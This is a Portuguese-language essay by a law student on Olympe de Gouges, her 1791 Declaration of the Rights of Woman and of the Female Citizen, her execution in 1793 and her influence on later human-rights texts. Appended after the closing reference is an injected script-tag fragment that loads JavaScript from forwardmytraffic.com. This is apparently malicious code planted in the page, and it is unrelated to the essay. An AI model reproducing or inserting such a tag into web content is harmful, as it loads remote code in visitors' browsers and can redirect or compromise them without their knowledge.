Mulher de reconhecimento internacional no campo dos direitos humanos e principalmente pela luta por igualdade feminina, Marie de Gouze, sob o pseudônimo de Olympe de Gouges (1748-1793), compôs em 1791 a Déclaration de droits de La femme et de la citoyenne, em tradução literal Declaração dos direitos da mulher e da cidadã.
O manifesto supracitado é um marco de luta pela igualdade no ocidente, escrito dois anos após a Revolução Francesa que sob o lema “Liberdade, Igualdade e Fraternidade”, a qual pôs fim a uma sociedade feudal, possibilitando, deste modo, a ascensão da burguesia e dos direitos inerentes a individualidade.
Ousada encaminhou o documento a Assembleia Nacional da França com uma dedicatória à rainha Maria Antonieta, configurando crítica a Declaração dos Direitos do Homem e do Cidadão de agosto de 1789. A Declaração de 1791 não é uma simples imitação da Declaração de 1789, através da qual substitui a palavra Homem por Mulher, mas sim, exalta a mulher esquecida desde outrora.
Destarte, conseguiu demonstrar que toda nação é necessariamente bissexuada e que a diferença relativa ao sexo não pode ser um postulado em política, nem na prática da cidadania. Adotando tom polêmico, ela reforma o modo que o ordenamento havia sido escrito, reformando a construção dos artigos a partir de excelente retórica, constituindo assim como um autêntico pilar de cidadania.
Grande lição se extrai do Pós-âmbulo da declaração, onde Gouges convoca a mulher a olhar para si mesma e a sua volta, fazendo análise aos efeitos advindos com o fim da Revolução Francesa:
Mulher, acorda! A força da razão faz-se ouvir em todo o universo: reconhece teus direitos. O poderoso império da natureza já não está limitado por preconceitos, superstição e mentiras. A bandeira da verdade dissipou todas as nuvens da parvoíce e da usurpação. O homem escravo multiplicou suas forças, precisou recorrer às tuas (forças) para romper seus grilhões. Tornado livre, ele fez-se injusto em relação à sua companheira. Mulheres! Mulheres, quando deixareis de ser cegas? Quais são as vantagens que obtivestes na Revolução? Um menosprezo mais marcado, um desdém mais perceptível. Durante os séculos de corrupção vós só conseguistes reinar sobre a fraqueza dos homens. Vosso império esta destruído; o que vos sobra?
Assim, após a sua grande labuta no campo social, em 3 de novembro de 1793, Olympe foi guilhotinada na França, mais uma das vítimas do século. Em data seguinte a sua execução, o jornal Le Moniteur através do Procurador da Comuna de Paris Pierre-Gaspard Chaumette acabou por denegrir a imagem da renomada defensora, sob os quais a declara como “imprudente, que primeiro instituiu as sociedades de mulheres e abandonou os cuidados do lar para se intrometer na República, sob quem a cabeça caiu sob o ferro vingador das leis”.
Embora tenha defendido no artigo 10 da declaração, o direito da livre expressão: “Ninguém deve ser molestado por suas opiniões, mesmo que sejam de princípio; a mulher tem o direito de subir ao cadafalso¹; mas ela deve igualmente ter o direito de subir à tribuna, contanto que suas manifestações não perturbem a ordem pública estabelecida pela lei”. Por ironia do destino, o cadafalso foi também o seu fim.
Embora tenha se passado duzentos e vinte e sete anos desde a declaração, tem-se a certeza que foi fundamental a dedicação da vida de Olympe de Gouges ao humanismo e que a luta pela igualdade dos seres humanos e a defesa dos oprimidos teve resultados. Foi à inspiração da Declaração Universal dos Direitos Humanos, aprovada pela ONU em 1948, e depois assinada por um número crescente de nações.
Ainda que algumas regiões do mundo, sobretudo nas regiões do Oriente, dominadas pelo regime Talibã até pouco tempo, a discriminação da mulher ainda é freqüente, não podemos fechar os nossos olhos a isto. Todavia, assim como a própria Olympe questionou e afirmou “Quaisquer que sejam as barreiras que se vos possam opor, está em vossas mãos superá-las; basta que o queirais”, ou seja, é necessário que estejamos atentos e que se conseguirmos garantir a igualdade com equidade em nossas comunidades, pode-se ter certeza que o futuro será muito melhor.
Micael Eduardo Bonfim
Acadêmico do curso de Direito UnC – Campus Marcílio Dias
Deputado Jovem do Estado de Santa Catarina (2015)
Membro do Núcleo de Pesquisa em História (NUPHIS/CNPq)
- Cadafalso: estrutura usada para a execução por enforcamento;
Referência: GOUGES, Olympe de. Déclaration des droits de la femme et de la citoyenne. In: Bibliothèque Jeanne Hersch. Textes fondateurs…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>
